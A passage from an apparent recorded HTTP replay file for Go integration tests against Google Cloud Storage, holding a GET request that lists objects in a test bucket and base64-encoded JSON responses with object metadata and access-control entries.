Mi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMiIsIm5hbWUiOiJvYmoyIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6IkNDMXdsd3JNT0lxMGR2TWtNeWxVaGc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyP2dlbmVyYXRpb249MTU1NjgzNTg0NTA0OTI0NSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6ImpWNUFWUT09IiwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifV19" - } - }, - { - "ID": "b01846866b585241", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=3\u0026pageToken=\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "9705" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:10 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:10 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo22tWMx8uW6afXbfFrFT8UZzPbsqPItYMdRAPHNEuksgeqWI2US_xblUG6C8WgcHvfEeR_19eVmBTmW6QE7rmosaIm_raZxW9FuCHHiSi8TJnZ1CI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzIiwibmFtZSI6Im9iai93aXRoL3NsYXNoZXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoidWV6L2hKNndBcmVEUW5jY0RVZHhmZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzP2dlbmVyYXRpb249MTU1NjgzNTg0NTUxMTAxOCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqL3dpdGgvc2xhc2hlcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1NTExMDE4IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqL3dpdGgvc2xhc2hlcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1NTExMDE4IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJvZW8rRkE9PSIsImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajE/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ0NjQ3MjI1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOi